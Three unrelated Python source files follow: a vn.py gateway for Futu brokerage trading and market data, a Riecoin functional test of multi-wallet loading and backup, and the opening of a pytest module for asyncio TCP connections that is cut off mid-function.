""" Please install futu-api before use. """ from copy import copy from datetime import datetime from threading import Thread from time import sleep import pytz from futu import ( ModifyOrderOp, TrdSide, TrdEnv, OpenHKTradeContext, OpenQuoteContext, OpenUSTradeContext, OrderBookHandlerBase, OrderStatus, OrderType, RET_ERROR, RET_OK, StockQuoteHandlerBase, TradeDealHandlerBase, TradeOrderHandlerBase ) from vnpy.trader.constant import Direction, Exchange, Product, Status from vnpy.trader.event import EVENT_TIMER from vnpy.trader.gateway import BaseGateway from vnpy.trader.object import ( TickData, OrderData, TradeData, AccountData, ContractData, PositionData, SubscribeRequest, OrderRequest, CancelRequest ) EXCHANGE_VT2FUTU = { Exchange.SMART: "US", Exchange.SEHK: "HK", Exchange.HKFE: "HK_FUTURE", } EXCHANGE_FUTU2VT = {v: k for k, v in EXCHANGE_VT2FUTU.items()} PRODUCT_VT2FUTU = { Product.EQUITY: "STOCK", Product.INDEX: "IDX", Product.ETF: "ETF", Product.WARRANT: "WARRANT", Product.BOND: "BOND", } DIRECTION_VT2FUTU = { Direction.LONG: TrdSide.BUY, Direction.SHORT: TrdSide.SELL, } DIRECTION_FUTU2VT = {v: k for k, v in DIRECTION_VT2FUTU.items()} STATUS_FUTU2VT = { OrderStatus.NONE: Status.SUBMITTING, OrderStatus.SUBMITTING: Status.SUBMITTING, OrderStatus.SUBMITTED: Status.NOTTRADED, OrderStatus.FILLED_PART: Status.PARTTRADED, OrderStatus.FILLED_ALL: Status.ALLTRADED, OrderStatus.CANCELLED_ALL: Status.CANCELLED, OrderStatus.CANCELLED_PART: Status.CANCELLED, OrderStatus.SUBMIT_FAILED: Status.REJECTED, OrderStatus.FAILED: Status.REJECTED, OrderStatus.DISABLED: Status.CANCELLED, } CHINA_TZ = pytz.timezone("Asia/Shanghai") class FutuGateway(BaseGateway): """""" default_setting = { "密码": "", "地址": "127.0.0.1", "端口": 11111, "市场": ["HK", "US"], "环境": [TrdEnv.REAL, TrdEnv.SIMULATE], } exchanges = list(EXCHANGE_FUTU2VT.values()) def __init__(self, event_engine): """Constructor""" super(FutuGateway, self).__init__(event_engine, "FUTU") self.quote_ctx = None self.trade_ctx = None self.host = "" self.port = 0 self.market = "" self.password = "" self.env = TrdEnv.SIMULATE self.ticks = {} self.trades = set() self.contracts = {} self.thread = Thread(target=self.query_data) # For query function. self.count = 0 self.interval = 1 self.query_funcs = [self.query_account, self.query_position] def connect(self, setting: dict): """""" self.host = setting["地址"] self.port = setting["端口"] self.market = setting["市场"] self.password = setting["密码"] self.env = setting["环境"] self.connect_quote() self.connect_trade() self.thread.start() def query_data(self): """ Query all data necessary. """ sleep(2.0) # Wait 2 seconds till connection completed. self.query_contract() self.query_trade() self.query_order() self.query_position() self.query_account() # Start fixed interval query. self.event_engine.register(EVENT_TIMER, self.process_timer_event) def process_timer_event(self, event): """""" self.count += 1 if self.count < self.interval: return self.count = 0 func = self.query_funcs.pop(0) func() self.query_funcs.append(func) def connect_quote(self): """ Connect to market data server. """ self.quote_ctx = OpenQuoteContext(self.host, self.port) class QuoteHandler(StockQuoteHandlerBase): gateway = self def on_recv_rsp(self, rsp_str): ret_code, content = super(QuoteHandler, self).on_recv_rsp( rsp_str ) if ret_code != RET_OK: return RET_ERROR, content self.gateway.process_quote(content) return RET_OK, content class OrderBookHandler(OrderBookHandlerBase): gateway = self def on_recv_rsp(self, rsp_str): ret_code, content = super(OrderBookHandler, self).on_recv_rsp( rsp_str ) if ret_code != RET_OK: return RET_ERROR, content self.gateway.process_orderbook(content) return RET_OK, content self.quote_ctx.set_handler(QuoteHandler()) self.quote_ctx.set_handler(OrderBookHandler()) self.quote_ctx.start() self.write_log("行情接口连接成功") def connect_trade(self): """ Connect to trade server. """ # Initialize context according to market. if self.market == "US": self.trade_ctx = OpenUSTradeContext(self.host, self.port) else: self.trade_ctx = OpenHKTradeContext(self.host, self.port) # Implement handlers. class OrderHandler(TradeOrderHandlerBase): gateway = self def on_recv_rsp(self, rsp_str): ret_code, content = super(OrderHandler, self).on_recv_rsp( rsp_str ) if ret_code != RET_OK: return RET_ERROR, content self.gateway.process_order(content) return RET_OK, content class DealHandler(TradeDealHandlerBase): gateway = self def on_recv_rsp(self, rsp_str): ret_code, content = super(DealHandler, self).on_recv_rsp( rsp_str ) if ret_code != RET_OK: return RET_ERROR, content self.gateway.process_deal(content) return RET_OK, content # Unlock to allow trading. code, data = self.trade_ctx.unlock_trade(self.password) if code == RET_OK: self.write_log("交易接口解锁成功") else: self.write_log(f"交易接口解锁失败,原因:{data}") # Start context. self.trade_ctx.set_handler(OrderHandler()) self.trade_ctx.set_handler(DealHandler()) self.trade_ctx.start() self.write_log("交易接口连接成功") def subscribe(self, req: SubscribeRequest): """""" for data_type in ["QUOTE", "ORDER_BOOK"]: futu_symbol = convert_symbol_vt2futu(req.symbol, req.exchange) code, data = self.quote_ctx.subscribe(futu_symbol, data_type, True) if code: self.write_log(f"订阅行情失败:{data}") def send_order(self, req: OrderRequest): """""" side = DIRECTION_VT2FUTU[req.direction] futu_order_type = OrderType.NORMAL # Only limit order is supported. # Set price adjustment mode to inside adjustment. if req.direction is Direction.LONG: adjust_limit = 0.05 else: adjust_limit = -0.05 futu_symbol = convert_symbol_vt2futu(req.symbol, req.exchange) code, data = self.trade_ctx.place_order( req.price, req.volume, futu_symbol, side, futu_order_type, trd_env=self.env, adjust_limit=adjust_limit, ) if code: self.write_log(f"委托失败:{data}") return "" for ix, row in data.iterrows(): orderid = str(row["order_id"]) order = req.create_order_data(orderid, self.gateway_name) self.on_order(order) return order.vt_orderid def cancel_order(self, req: CancelRequest): """""" code, data = self.trade_ctx.modify_order( ModifyOrderOp.CANCEL, req.orderid, 0, 0, trd_env=self.env ) if code: self.write_log(f"撤单失败:{data}") def query_contract(self): """""" for product, futu_product in PRODUCT_VT2FUTU.items(): code, data = self.quote_ctx.get_stock_basicinfo( self.market, futu_product ) if code: self.write_log(f"查询合约信息失败:{data}") return for ix, row in data.iterrows(): symbol, exchange = convert_symbol_futu2vt(row["code"]) contract = ContractData( symbol=symbol, exchange=exchange, name=row["name"], product=product, size=1, pricetick=0.001, net_position=True, gateway_name=self.gateway_name, ) self.on_contract(contract) self.contracts[contract.vt_symbol] = contract self.write_log("合约信息查询成功") def query_account(self): """""" code, data = self.trade_ctx.accinfo_query(trd_env=self.env, acc_id=0) if code: self.write_log(f"查询账户资金失败:{data}") return for ix, row in data.iterrows(): account = AccountData( accountid=f"{self.gateway_name}_{self.market}", balance=float(row["total_assets"]), frozen=(float(row["total_assets"]) - float(row["avl_withdrawal_cash"])), gateway_name=self.gateway_name, ) self.on_account(account) def query_position(self): """""" code, data = self.trade_ctx.position_list_query( trd_env=self.env, acc_id=0 ) if code: self.write_log(f"查询持仓失败:{data}") return for ix, row in data.iterrows(): symbol, exchange = convert_symbol_futu2vt(row["code"]) pos = PositionData( symbol=symbol, exchange=exchange, direction=Direction.LONG, volume=row["qty"], frozen=(float(row["qty"]) - float(row["can_sell_qty"])), price=float(row["cost_price"]), pnl=float(row["pl_val"]), gateway_name=self.gateway_name, ) self.on_position(pos) def query_order(self): """""" code, data = self.trade_ctx.order_list_query("", trd_env=self.env) if code: self.write_log(f"查询委托失败:{data}") return self.process_order(data) self.write_log("委托查询成功") def query_trade(self): """""" code, data = self.trade_ctx.deal_list_query("", trd_env=self.env) if code: self.write_log(f"查询成交失败:{data}") return self.process_deal(data) self.write_log("成交查询成功") def close(self): """""" if self.quote_ctx: self.quote_ctx.close() if self.trade_ctx: self.trade_ctx.close() def get_tick(self, code): """ Get tick buffer. """ tick = self.ticks.get(code, None) symbol, exchange = convert_symbol_futu2vt(code) if not tick: tick = TickData( symbol=symbol, exchange=exchange, datetime=datetime.now(CHINA_TZ), gateway_name=self.gateway_name, ) self.ticks[code] = tick contract = self.contracts.get(tick.vt_symbol, None) if contract: tick.name = contract.name return tick def process_quote(self, data): """报价推送""" for ix, row in data.iterrows(): symbol = row["code"] date = row["data_date"].replace("-", "") time = row["data_time"] dt = datetime.strptime(f"{date} {time}", "%Y%m%d %H:%M:%S") dt = CHINA_TZ.localize(dt) tick = self.get_tick(symbol) tick.datetime = dt tick.open_price = row["open_price"] tick.high_price = row["high_price"] tick.low_price = row["low_price"] tick.pre_close = row["prev_close_price"] tick.last_price = row["last_price"] tick.volume = row["volume"] if "price_spread" in row: spread = row["price_spread"] tick.limit_up = tick.last_price + spread * 10 tick.limit_down = tick.last_price - spread * 10 self.on_tick(copy(tick)) def process_orderbook(self, data): """""" symbol = data["code"] tick = self.get_tick(symbol) d = tick.__dict__ for i in range(5): bid_data = data["Bid"][i] ask_data = data["Ask"][i] n = i + 1 d["bid_price_%s" % n] = bid_data[0] d["bid_volume_%s" % n] = bid_data[1] d["ask_price_%s" % n] = ask_data[0] d["ask_volume_%s" % n] = ask_data[1] if tick.datetime: self.on_tick(copy(tick)) def process_order(self, data): """ Process order data for both query and update. """ for ix, row in data.iterrows(): # Ignore order with status DELETED if row["order_status"] == OrderStatus.DELETED: continue symbol, exchange = convert_symbol_futu2vt(row["code"]) order = OrderData( symbol=symbol, exchange=exchange, orderid=str(row["order_id"]), direction=DIRECTION_FUTU2VT[row["trd_side"]], price=float(row["price"]), volume=row["qty"], traded=row["dealt_qty"], status=STATUS_FUTU2VT[row["order_status"]], datetime=generate_datetime(row["create_time"]), gateway_name=self.gateway_name, ) self.on_order(order) def process_deal(self, data): """ Process trade data for both query and update. """ for ix, row in data.iterrows(): tradeid = str(row["deal_id"]) if tradeid in self.trades: continue self.trades.add(tradeid) symbol, exchange = convert_symbol_futu2vt(row["code"]) trade = TradeData( symbol=symbol, exchange=exchange, direction=DIRECTION_FUTU2VT[row["trd_side"]], tradeid=tradeid, orderid=row["order_id"], price=float(row["price"]), volume=row["qty"], datetime=generate_datetime(row["create_time"]), gateway_name=self.gateway_name, ) self.on_trade(trade) def convert_symbol_futu2vt(code): """ Convert symbol from futu to vt. """ code_list = code.split(".") futu_exchange = code_list[0] futu_symbol = ".".join(code_list[1:]) exchange = EXCHANGE_FUTU2VT[futu_exchange] return futu_symbol, exchange def convert_symbol_vt2futu(symbol, exchange): """ Convert symbol from vt to futu. """ futu_exchange = EXCHANGE_VT2FUTU[exchange] return f"{futu_exchange}.{symbol}" def generate_datetime(s: str) -> datetime: if "." in s: dt = datetime.strptime(s, "%Y-%m-%d %H:%M:%S.%f") else: dt = datetime.strptime(s, "%Y-%m-%d %H:%M:%S") dt = CHINA_TZ.localize(dt) return dt
wallet_multiwallet.py
#!/usr/bin/env python3 # Copyright (c) 2017-2020 The Bitcoin Core developers # Copyright (c) 2013-2021 The Riecoin developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test multiwallet. Verify that a riecoind node can load multiple wallet files """ from decimal import Decimal from threading import Thread import os import shutil import stat import time from test_framework.authproxy import JSONRPCException from test_framework.blocktools import COINBASE_MATURITY from test_framework.test_framework import BitcoinTestFramework from test_framework.test_node import ErrorMatch from test_framework.util import ( assert_equal, assert_raises_rpc_error, get_rpc_proxy, ) got_loading_error = False def test_load_unload(node, name): global got_loading_error while True: if got_loading_error: return try: node.loadwallet(name) node.unloadwallet(name) except JSONRPCException as e: if e.error['code'] == -4 and 'Wallet already loading' in e.error['message']: got_loading_error = True return class MultiWalletTest(BitcoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 2 self.rpc_timeout = 120 self.extra_args = [["-nowallet"], []] def skip_test_if_missing_module(self): self.skip_if_no_wallet() def add_options(self, parser): parser.add_argument( '--data_wallets_dir', default=os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data/wallets/'), help='Test data with wallet directories (default: %(default)s)', ) def run_test(self): node = self.nodes[0] data_dir = lambda *p: os.path.join(node.datadir, self.chain, *p) wallet_dir = lambda *p: data_dir('wallets', *p) wallet = lambda name: node.get_wallet_rpc(name) def wallet_file(name): if name == self.default_wallet_name: return wallet_dir(self.default_wallet_name, self.wallet_data_filename) if os.path.isdir(wallet_dir(name)): return wallet_dir(name, "wallet.dat") return wallet_dir(name) assert_equal(self.nodes[0].listwalletdir(), {'wallets': [{'name': self.default_wallet_name}]}) # check wallet.dat is created self.stop_nodes() assert_equal(os.path.isfile(wallet_dir(self.default_wallet_name, self.wallet_data_filename)), True) # create symlink to verify wallet directory path can be referenced # through symlink os.mkdir(wallet_dir('w7')) os.symlink('w7', wallet_dir('w7_symlink')) os.symlink('..', wallet_dir('recursive_dir_symlink')) os.mkdir(wallet_dir('self_walletdat_symlink')) os.symlink('wallet.dat', wallet_dir('self_walletdat_symlink/wallet.dat')) # rename wallet.dat to make sure plain wallet file paths (as opposed to # directory paths) can be loaded # create another dummy wallet for use in testing backups later self.start_node(0) node.createwallet("empty") node.createwallet("plain") node.createwallet("created") self.stop_nodes() empty_wallet = os.path.join(self.options.tmpdir, 'empty.dat') os.rename(wallet_file("empty"), empty_wallet) shutil.rmtree(wallet_dir("empty")) empty_created_wallet = os.path.join(self.options.tmpdir, 'empty.created.dat') os.rename(wallet_dir("created", self.wallet_data_filename), empty_created_wallet) shutil.rmtree(wallet_dir("created")) os.rename(wallet_file("plain"), wallet_dir("w8")) shutil.rmtree(wallet_dir("plain")) # restart node with a mix of wallet names: # w1, w2, w3 - to verify new wallets created when non-existing paths specified # w - to verify wallet name matching works when one wallet path is prefix of another # sub/w5 - to verify relative wallet path is created correctly # extern/w6 - to verify absolute wallet path is created correctly # w7_symlink - to verify symlinked wallet path is initialized correctly # w8 - to verify existing wallet file is loaded correctly. Not tested for SQLite wallets as this is a deprecated BDB behavior. # '' - to verify default wallet file is created correctly to_create = ['w1', 'w2', 'w3', 'w', 'sub/w5', 'w7_symlink'] in_wallet_dir = [w.replace('/', os.path.sep) for w in to_create] # Wallets in the wallet dir in_wallet_dir.append('w7') # w7 is not loaded or created, but will be listed by listwalletdir because w7_symlink to_create.append(os.path.join(self.options.tmpdir, 'extern/w6')) # External, not in the wallet dir, so we need to avoid adding it to in_wallet_dir to_load = [self.default_wallet_name] if not self.options.descriptors: to_load.append('w8') wallet_names = to_create + to_load # Wallet names loaded in the wallet in_wallet_dir += to_load # The loaded wallets are also in the wallet dir self.start_node(0) for wallet_name in to_create: self.nodes[0].createwallet(wallet_name) for wallet_name in to_load: self.nodes[0].loadwallet(wallet_name) os.mkdir(wallet_dir('no_access')) os.chmod(wallet_dir('no_access'), 0) try: with self.nodes[0].assert_debug_log(expected_msgs=['Error scanning']): walletlist = self.nodes[0].listwalletdir()['wallets'] finally: # Need to ensure access is restored for cleanup os.chmod(wallet_dir('no_access'), stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR) assert_equal(sorted(map(lambda w: w['name'], walletlist)), sorted(in_wallet_dir)) assert_equal(set(node.listwallets()), set(wallet_names)) # should raise rpc error if wallet path can't be created err_code = -4 if self.options.descriptors else -1 assert_raises_rpc_error(err_code, "boost::filesystem::create_directory:", self.nodes[0].createwallet, "w8/bad") # check that all requested wallets were created self.stop_node(0) for wallet_name in wallet_names: assert_equal(os.path.isfile(wallet_file(wallet_name)), True) self.nodes[0].assert_start_raises_init_error(['-walletdir=wallets'], 'Error: Specified -walletdir "wallets" does not exist') self.nodes[0].assert_start_raises_init_error(['-walletdir=wallets'], 'Error: Specified -walletdir "wallets" is a relative path', cwd=data_dir()) self.nodes[0].assert_start_raises_init_error(['-walletdir=debug.log'], 'Error: Specified -walletdir "debug.log" is not a directory', cwd=data_dir()) self.start_node(0, ['-wallet=w1', '-wallet=w1']) self.stop_node(0, 'Warning: Ignoring duplicate -wallet w1.') if not self.options.descriptors: # Only BDB doesn't open duplicate wallet files. SQLite does not have this limitation. While this may be desired in the future, it is not necessary # should not initialize if one wallet is a copy of another shutil.copyfile(wallet_dir('w8'), wallet_dir('w8_copy')) in_wallet_dir.append('w8_copy') exp_stderr = r"BerkeleyDatabase: Can't open database w8_copy \(duplicates fileid \w+ from w8\)" self.nodes[0].assert_start_raises_init_error(['-wallet=w8', '-wallet=w8_copy'], exp_stderr, match=ErrorMatch.PARTIAL_REGEX) # should not initialize if wallet file is a symlink os.symlink('w8', wallet_dir('w8_symlink')) self.nodes[0].assert_start_raises_init_error(['-wallet=w8_symlink'], r'Error: Invalid -wallet path \'w8_symlink\'\. .*', match=ErrorMatch.FULL_REGEX) # should not initialize if the specified walletdir does not exist self.nodes[0].assert_start_raises_init_error(['-walletdir=bad'], 'Error: Specified -walletdir "bad" does not exist') # should not initialize if the specified walletdir is not a directory not_a_dir = wallet_dir('notadir') open(not_a_dir, 'a', encoding="utf8").close() self.nodes[0].assert_start_raises_init_error(['-walletdir=' + not_a_dir], 'Error: Specified -walletdir "' + not_a_dir + '" is not a directory') self.log.info("Do not allow -upgradewallet with multiwallet") self.nodes[0].assert_start_raises_init_error(['-upgradewallet'], "Error: Error parsing command line arguments: Invalid parameter -upgradewallet") # if wallets/ doesn't exist, datadir should be the default wallet dir wallet_dir2 = data_dir('walletdir') os.rename(wallet_dir(), wallet_dir2) self.start_node(0) self.nodes[0].createwallet("w4") self.nodes[0].createwallet("w5") assert_equal(set(node.listwallets()), {"w4", "w5"}) w5 = wallet("w5") node.generatetoaddress(nblocks=1, address=w5.getnewaddress()) # now if wallets/ exists again, but the rootdir is specified as the walletdir, w4 and w5 should still be loaded os.rename(wallet_dir2, wallet_dir()) self.restart_node(0, ['-nowallet', '-walletdir=' + data_dir()]) self.nodes[0].loadwallet("w4") self.nodes[0].loadwallet("w5") assert_equal(set(node.listwallets()), {"w4", "w5"}) w5 = wallet("w5") w5_info = w5.getwalletinfo() assert_equal(w5_info['immature_balance'], 50) competing_wallet_dir = os.path.join(self.options.tmpdir, 'competing_walletdir') os.mkdir(competing_wallet_dir) self.restart_node(0, ['-nowallet', '-walletdir=' + competing_wallet_dir]) self.nodes[0].createwallet(self.default_wallet_name) if self.options.descriptors: exp_stderr = r"Error: SQLiteDatabase: Unable to obtain an exclusive lock on the database, is it being used by another riecoind?" else: exp_stderr = r"Error: Error initializing wallet database environment \"\S+competing_walletdir\S*\"!" self.nodes[1].assert_start_raises_init_error(['-walletdir=' + competing_wallet_dir], exp_stderr, match=ErrorMatch.PARTIAL_REGEX) self.restart_node(0) for wallet_name in wallet_names: self.nodes[0].loadwallet(wallet_name) assert_equal(sorted(map(lambda w: w['name'], self.nodes[0].listwalletdir()['wallets'])), sorted(in_wallet_dir)) wallets = [wallet(w) for w in wallet_names] wallet_bad = wallet("bad") # check wallet names and balances node.generatetoaddress(nblocks=1, address=wallets[0].getnewaddress()) for wallet_name, wallet in zip(wallet_names, wallets): info = wallet.getwalletinfo() assert_equal(info['immature_balance'], 50 if wallet is wallets[0] else 0) assert_equal(info['walletname'], wallet_name) # accessing invalid wallet fails assert_raises_rpc_error(-18, "Requested wallet does not exist or is not loaded", wallet_bad.getwalletinfo) # accessing wallet RPC without using wallet endpoint fails assert_raises_rpc_error(-19, "Wallet file not specified", node.getwalletinfo) w1, w2, w3, w4, *_ = wallets node.generatetoaddress(nblocks=COINBASE_MATURITY + 1, address=w1.getnewaddress()) assert_equal(w1.getbalance(), 100) assert_equal(w2.getbalance(), 0) assert_equal(w3.getbalance(), 0) assert_equal(w4.getbalance(), 0) w1.sendtoaddress(w2.getnewaddress(), 1) w1.sendtoaddress(w3.getnewaddress(), 2) w1.sendtoaddress(w4.getnewaddress(), 3) node.generatetoaddress(nblocks=1, address=w1.getnewaddress()) assert_equal(w2.getbalance(), 1) assert_equal(w3.getbalance(), 2) assert_equal(w4.getbalance(), 3) batch = w1.batch([w1.getblockchaininfo.get_request(), w1.getwalletinfo.get_request()]) assert_equal(batch[0]["result"]["chain"], self.chain) assert_equal(batch[1]["result"]["walletname"], "w1") self.log.info('Check for per-wallet settxfee call') assert_equal(w1.getwalletinfo()['paytxfee'], 0) assert_equal(w2.getwalletinfo()['paytxfee'], 0) w2.settxfee(0.001) assert_equal(w1.getwalletinfo()['paytxfee'], 0) assert_equal(w2.getwalletinfo()['paytxfee'], Decimal('0.00100000')) self.log.info("Test dynamic wallet loading") self.restart_node(0, ['-nowallet']) assert_equal(node.listwallets(), []) assert_raises_rpc_error(-18, "No wallet is loaded. Load a wallet using loadwallet or create a new one with createwallet. (Note: A default wallet is no longer automatically created)", node.getwalletinfo) self.log.info("Load first wallet") loadwallet_name = node.loadwallet(wallet_names[0]) assert_equal(loadwallet_name['name'], wallet_names[0]) assert_equal(node.listwallets(), wallet_names[0:1]) node.getwalletinfo() w1 = node.get_wallet_rpc(wallet_names[0]) w1.getwalletinfo() self.log.info("Load second wallet") loadwallet_name = node.loadwallet(wallet_names[1]) assert_equal(loadwallet_name['name'], wallet_names[1]) assert_equal(node.listwallets(), wallet_names[0:2]) assert_raises_rpc_error(-19, "Wallet file not specified", node.getwalletinfo) w2 = node.get_wallet_rpc(wallet_names[1]) w2.getwalletinfo() self.log.info("Concurrent wallet loading") threads = [] for _ in range(3): n = node.cli if self.options.usecli else get_rpc_proxy(node.url, 1, timeout=600, coveragedir=node.coverage_dir) t = Thread(target=test_load_unload, args=(n, wallet_names[2])) t.start() threads.append(t) for t in threads: t.join() global got_loading_error assert_equal(got_loading_error, True) self.log.info("Load remaining wallets") for wallet_name in wallet_names[2:]: loadwallet_name = self.nodes[0].loadwallet(wallet_name) assert_equal(loadwallet_name['name'], wallet_name) assert_equal(set(self.nodes[0].listwallets()), set(wallet_names)) # Fail to load if wallet doesn't exist path = os.path.join(self.options.tmpdir, "node0", "regtest", "wallets", "wallets") assert_raises_rpc_error(-18, "Wallet file verification failed. Failed to load database path '{}'. Path does not exist.".format(path), self.nodes[0].loadwallet, 'wallets') # Fail to load duplicate wallets path = os.path.join(self.options.tmpdir, "node0", "regtest", "wallets", "w1", "wallet.dat") if self.options.descriptors: assert_raises_rpc_error(-4, "Wallet file verification failed. SQLiteDatabase: Unable to obtain an exclusive lock on the database, is it being used by another riecoind?", self.nodes[0].loadwallet, wallet_names[0]) else: assert_raises_rpc_error(-35, "Wallet file verification failed. Refusing to load database. Data file '{}' is already loaded.".format(path), self.nodes[0].loadwallet, wallet_names[0]) # This tests the default wallet that BDB makes, so SQLite wallet doesn't need to test this # Fail to load duplicate wallets by different ways (directory and filepath) path = os.path.join(self.options.tmpdir, "node0", "regtest", "wallets", "wallet.dat") assert_raises_rpc_error(-35, "Wallet file verification failed. Refusing to load database. Data file '{}' is already loaded.".format(path), self.nodes[0].loadwallet, 'wallet.dat') # Only BDB doesn't open duplicate wallet files. SQLite does not have this limitation. While this may be desired in the future, it is not necessary # Fail to load if one wallet is a copy of another assert_raises_rpc_error(-4, "BerkeleyDatabase: Can't open database w8_copy (duplicates fileid", self.nodes[0].loadwallet, 'w8_copy') # Fail to load if one wallet is a copy of another, test this twice to make sure that we don't re-introduce #14304 assert_raises_rpc_error(-4, "BerkeleyDatabase: Can't open database w8_copy (duplicates fileid", self.nodes[0].loadwallet, 'w8_copy') # Fail to load if wallet file is a symlink assert_raises_rpc_error(-4, "Wallet file verification failed. Invalid -wallet path 'w8_symlink'", self.nodes[0].loadwallet, 'w8_symlink') # Fail to load if a directory is specified that doesn't contain a wallet os.mkdir(wallet_dir('empty_wallet_dir')) path = os.path.join(self.options.tmpdir, "node0", "regtest", "wallets", "empty_wallet_dir") assert_raises_rpc_error(-18, "Wallet file verification failed. Failed to load database path '{}'. Data is not in recognized format.".format(path), self.nodes[0].loadwallet, 'empty_wallet_dir') self.log.info("Test dynamic wallet creation.") # Fail to create a wallet if it already exists. path = os.path.join(self.options.tmpdir, "node0", "regtest", "wallets", "w2") assert_raises_rpc_error(-4, "Failed to create database path '{}'. Database already exists.".format(path), self.nodes[0].createwallet, 'w2') # Successfully create a wallet with a new name loadwallet_name = self.nodes[0].createwallet('w9') in_wallet_dir.append('w9') assert_equal(loadwallet_name['name'], 'w9') w9 = node.get_wallet_rpc('w9') assert_equal(w9.getwalletinfo()['walletname'], 'w9') assert 'w9' in self.nodes[0].listwallets() # Successfully create a wallet using a full path new_wallet_dir = os.path.join(self.options.tmpdir, 'new_walletdir') new_wallet_name = os.path.join(new_wallet_dir, 'w10') loadwallet_name = self.nodes[0].createwallet(new_wallet_name) assert_equal(loadwallet_name['name'], new_wallet_name) w10 = node.get_wallet_rpc(new_wallet_name) assert_equal(w10.getwalletinfo()['walletname'], new_wallet_name) assert new_wallet_name in self.nodes[0].listwallets() self.log.info("Test dynamic wallet unloading") # Test `unloadwallet` errors assert_raises_rpc_error(-1, "JSON value is not a string as expected", self.nodes[0].unloadwallet) assert_raises_rpc_error(-18, "Requested wallet does not exist or is not loaded", self.nodes[0].unloadwallet, "dummy") assert_raises_rpc_error(-18, "Requested wallet does not exist or is not loaded", node.get_wallet_rpc("dummy").unloadwallet) assert_raises_rpc_error(-8, "RPC endpoint wallet and wallet_name parameter specify different wallets", w1.unloadwallet, "w2"), # Successfully unload the specified wallet name self.nodes[0].unloadwallet("w1") assert 'w1' not in self.nodes[0].listwallets() # Unload w1 again, this time providing the wallet name twice self.nodes[0].loadwallet("w1") assert 'w1' in self.nodes[0].listwallets() w1.unloadwallet("w1") assert 'w1' not in self.nodes[0].listwallets() # Successfully unload the wallet referenced by the request endpoint # Also ensure unload works during walletpassphrase timeout w2.encryptwallet('test') w2.walletpassphrase('test', 1) w2.unloadwallet() time.sleep(1.1) assert 'w2' not in self.nodes[0].listwallets() # Successfully unload all wallets for wallet_name in self.nodes[0].listwallets(): self.nodes[0].unloadwallet(wallet_name) assert_equal(self.nodes[0].listwallets(), []) assert_raises_rpc_error(-18, "No wallet is loaded. Load a wallet using loadwallet or create a new one with createwallet. (Note: A default wallet is no longer automatically created)", self.nodes[0].getwalletinfo) # Successfully load a previously unloaded wallet self.nodes[0].loadwallet('w1') assert_equal(self.nodes[0].listwallets(), ['w1']) assert_equal(w1.getwalletinfo()['walletname'], 'w1') assert_equal(sorted(map(lambda w: w['name'], self.nodes[0].listwalletdir()['wallets'])), sorted(in_wallet_dir)) # Test backing up and restoring wallets self.log.info("Test wallet backup") self.restart_node(0, ['-nowallet']) for wallet_name in wallet_names: self.nodes[0].loadwallet(wallet_name) for wallet_name in wallet_names: rpc = self.nodes[0].get_wallet_rpc(wallet_name) addr = rpc.getnewaddress() backup = os.path.join(self.options.tmpdir, 'backup.dat') if os.path.exists(backup): os.unlink(backup) rpc.backupwallet(backup) self.nodes[0].unloadwallet(wallet_name) shutil.copyfile(empty_created_wallet if wallet_name == self.default_wallet_name else empty_wallet, wallet_file(wallet_name)) self.nodes[0].loadwallet(wallet_name) assert_equal(rpc.getaddressinfo(addr)['ismine'], False) self.nodes[0].unloadwallet(wallet_name) shutil.copyfile(backup, wallet_file(wallet_name)) self.nodes[0].loadwallet(wallet_name) assert_equal(rpc.getaddressinfo(addr)['ismine'], True) # Test .walletlock file is closed self.start_node(1) wallet = os.path.join(self.options.tmpdir, 'my_wallet') self.nodes[0].createwallet(wallet) if self.options.descriptors: assert_raises_rpc_error(-4, "Unable to obtain an exclusive lock", self.nodes[1].loadwallet, wallet) else: assert_raises_rpc_error(-4, "Error initializing wallet database environment", self.nodes[1].loadwallet, wallet) self.nodes[0].unloadwallet(wallet) self.nodes[1].loadwallet(wallet) if __name__ == '__main__': MultiWalletTest().main()
py3test_io_tcp_async_in_thread.py
# -*- coding: utf-8 -*- """ Testing external-IO TCP connection - open/close - send/receive (naming may differ) """ __author__ = 'Grzegorz Latuszek' __copyright__ = 'Copyright (C) 2018, Nokia' __email__ = 'grzegorz.latuszek@nokia.com' import time import importlib import asyncio import pytest import threading def test_can_get_connection(): from moler.connection_factory import get_connection tcp_connection = get_connection(io_type='tcp', variant='asyncio-in-thread', host='localhost', port=2345) assert tcp_connection is not None def test_can_open_and_close_connection(tcp_connection_class, integration_tcp_server_and_pipe): """ Not so atomic test (checks 2 things) but: - it is integration tests - anyway open needs close as cleanup to not have resources leaking in tests """ from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) connection.open() connection.close() time.sleep(0.1) # otherwise we have race between server's pipe and from-client-connection tcp_server_pipe.send(("get history", {})) dialog_with_server = tcp_server_pipe.recv() assert 'Client connected' in dialog_with_server assert 'Client disconnected' in dialog_with_server def test_closing_closed_connection_does_nothing(tcp_connection_class, integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) connection.open() connection.close() connection.close() time.sleep(0.1) # otherwise we have race between server's pipe and from-client-connection tcp_server_pipe.send(("get history", {})) dialog_with_server = tcp_server_pipe.recv() assert 'Client connected' in dialog_with_server assert 'Client disconnected' in dialog_with_server assert dialog_with_server[-2] != 'Client disconnected' # not closed twice def test_can_open_and_close_connection_as_context_manager(tcp_connection_class, integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) with connection.open(): pass time.sleep(0.1) # otherwise we have race between server's pipe and from-client-connection tcp_server_pipe.send(("get history", {})) dialog_with_server = tcp_server_pipe.recv() assert 'Client connected' in dialog_with_server assert 'Client disconnected' in dialog_with_server # Note: different external-IO connection may have different naming for their 'send' method # however, they are uniformed via glueing with moler_connection.send() # external-IO 'send' method works on bytes; moler_connection performs encoding def test_can_send_binary_data_over_connection(tcp_connection_class, 